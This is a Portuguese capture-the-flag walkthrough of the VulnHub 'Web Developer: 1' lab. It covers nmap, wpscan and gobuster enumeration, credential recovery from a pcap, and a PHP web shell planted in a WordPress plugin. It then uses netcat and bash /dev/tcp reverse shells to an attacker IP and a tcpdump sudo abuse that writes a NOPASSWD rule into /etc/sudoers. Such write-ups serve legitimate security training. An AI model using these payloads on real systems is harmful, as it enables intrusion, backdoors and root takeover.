Link da Maquina: https://www.vulnhub.com/entry/web-developer-1,288/
Scan/Enumeracao
Host Discovery
Com o comando arp-scan varremos a rede para descobrir os hosts ativos e consequentemente o IP do nosso alvo: 192.168.110.12
1
sudo arp-scan -I eth1 192.168.110.0/24
Port Discovery
Com o parametro “-p-“ do nmap varremos todas as portas possiveis do nosso alvo e encontramos 02 delas abertas. 22 e 80
1
sudo nmap -n -T5 -p- 192.168.110.12
Port Scan
Agora com o parametro “-A” do nmap vamos descobrir mais informacoes sobre essas portas abertas do nosso alvo
1
sudo nmap -n -T5 -A -p 22,80 192.168.110.12
- Porta 22: ssh OpenSSH 7.6p1 Ubuntu 4
- Porta 80: http Apache httpd 2.4.29
Enumeracao/Exploracao Web - Porta 80
Inspecao Visual
O primeiro passo e verificar o que temos na pagina web pelo browser. Temos um WordPress
Nao encotramos nada de util no codigo fonte da pagina
Enumeracao WEB - Nikto
Rodamos o Nikto, encontramos alguns diretorios, mas nada de interessante ate agora
1
nikto -h http://192.168.110.12/
Enumeracao WEB - WPSCAN
Rodamos o wpscan para procurar vulnerabilidades na aplicacao
1
wpscan --url http://192.168.110.12 -e ap,at,u
Encontramos um usuario: webdeveloper
Enumeracao de diretorios WEB - GOBUSTER
Realizamos o fuzzy de diretorios com o Gobuster. Obtivemos alguns resultados interessantes, dentre eles temos o diretorios /ipdata e o arquivo /xmlrpc.php
/ipdata
Acessando a pagina temos um arquivo “.cap”
Baixamos ele para a nossa maquina
/xmlrpc.php
Nessa outra pagina encontramos XML-RPC server
Procuramos por exploits publicos para ele mas nao conseguimos nenhum resultado positivo
Wireshark
Analizando o arquivo analyze.cap com o wireshark, clicando com o Botao direito do mouse -> Follow -> TCP Stream, conseguimos achar no Stream 8 o envio por “POST” de um formulario onde contem as informacoes de login e senha do usuario “webdeveloper”, queencontramos com o wpscan.
- log=webdeveloper&pwd=Te5eQg%264sBS%21Yr%24%29wf%25%28DcAd&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.1.176%2Fwordpress%2Fwp-admin%2F&testcookie=1
Encontramos a seguinte credencial, de acordo com o formulario, webdeveloper:Te5eQg%264sBS%21Yr%24%29wf%25%28DcAd
A senha esta com alguns caracteres codificados para URL. O proximo passo consiste em decodifica-los para tentarmos acessar o painel de administracao do WordPress
- webdeveloper:Te5eQg&4sBS!Yr$)wf%(DcAd
WordPress
Conseguimos acessar o painel de administracao do WP com a credencial webdeveloper:Te5eQg&4sBS!Yr$)wf%(DcAd.
Navegando pelo painel nao encontramos nenhum tema que conseguimos editar. Depois de procurar mais fundo encontramos alguns plugins que temos permissao para edicao.
Editamos a pagina akismet/index.php com o “php do mal”, para ver se conseguimos RCE.
1
<?php system($_GET['cmd']); ?>
Agora acessamos a pagina do plugin e constatamos que temos RCE!
1
http://192.168.110.12/wp-content/plugins/akismet/index.php?cmd=id
Shell Reverso
Bom… ja que temos RCE na pagina do wordpress, agora so precisamos mosntar o nosso payload, encodar e passar via URL para ganhar o shell…
Primeiro passo e procurar por um comando que nos retorne o shell. Como temos um RCE podemor procurar se tem o programa antes de tentar usa-lo. Agora sabemos que o alvo tem o nc instalado
1
192.168.110.12/wp-content/plugins/akismet/index.php?cmd=whereis%20nc
- RBSCheat
O rbscheat e um programa criado para deixar mais performatica a busca por um comando para nos retornar o shell. Basta utilizar o comando com o parametro do IP e a porta que ira receber o shell e o nome com qual programa ele executara para nos retornar o shell. Ele pode ser encontrado e instalado de acordo com as instrucoes que estao no seu repositorio na pagina do seu autor https://github.com/marciosouza20/rbscheat.
1
rbscheat -i 192.168.110.3:443 -l nc
- BurpSuite - Decoder
Vamos utilizar o burp para codificar o nosso payload
1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.110.3 443 >/tmp/f
1
%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%39%32%2e%31%36%38%2e%31%31%30%2e%33%20%34%34%33%20%3e%2f%74%6d%70%2f%66
Agora passamos o nosso payload via URL
1
192.168.110.12/wp-content/plugins/akismet/index.php?cmd=%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%31%30%2e%33%2f%34%34%33%20%30%3c%26%31
Para conseguir o shell reverso, primeiramente invocamos o bash para conseguir melhorar o shell posteriormente, depois deixamos a porta aberta. Depois de passar o payload via URL recebemos o shell do alvo!
Shell Interativo
Importamos o tty, no shell do alvo, com o seguinte comando:
1
python3 -c "__import__('pty').spawn('/bin/bash')"
Depois CTRL+Z
No shell da kali digitar o seguinte comando:
1
stty raw -echo
Depois digitar fg e apertar Enter duas vezes
Pronto, agora temos um shell mais performatico!
Usuario www-data
Conseguimos achar a credencial para acessar o banco de dados no arquivo /var/www/html/wp-config.php
- webdeveloper:MasterOfTheUniverse
Usuario webdeveloper
Conseguimos logar com o usuario webdeveloper, aproveitando a reutilizacao da senha do banco de dados, webdeveloper:MasterOfTheUniverse
Escalando Privilegio
Seguindo a metodologia a primeira coisa que verificamos foi se o usuario tem permissao para usar algum comando com o sudo. Agora sabemos que o usuario pode executar o tcpdump como root, usando o sudo.
1
sudo -l
TCPDUMP
Depois de tentar diversas formas, sem sucesso, para conseguir escalar privilegio com o tcpdump a unica que conseguimos foi adicionando o usuario ao /etc/sudoers. O passo a passo e o seguinte:
1
2
3
4
5
6
7
echo 'echo "webdeveloper ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' > /tmp/charlie && chmod +x /tmp/charlie
cat /tmp/charlie
sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/charlie -Z root
sudo -l
Agora com conseguimos executar qualquer comando com o sudo. Portanto conseguimos escalar privilegio para o root facilmente
I am gROOT!
Flag
Conseguimos pegar a flag de root
Bonus
Recuperacao de Imagem do arquivo “.cap”
Abrimos a captura no wireshark e vimos que contem uma imagem
Para verificar com mais precisao vamos dar uma olhada na requisicao. “Botao direito do mouse” -> “Follow” -> “TCP Stream”
Para baixar a imagem voltamos para o painel da captura e clicamos duas vezes no pacote que a imagem foi enviada
Para copiar o conteudo hexadecimal da imagem: “Botao direito do mouse” -> “Copy” -> “… as a Hex Stream”
Para ter certeza que foi copiado corretamente e recomendado colar o conteudo em um editor de texte e comparar os primeiros e os ultimos numeros da copia e do original
Depois da conferencia criamos um arquivo para mudarmos o hexadecimal dele
Agora vamos editar o hexadecimal do arquivo criado com o hexedit
1
hexedit imagem_captura.png
Colamos o conteudo que copiamos da captura “.cap” com o CTRL+Shift+V
Salvamos o conteudo usando as teclas CTRL+X
Pronto, agora conseguimos copiar a imagem da captura para a nossa maquina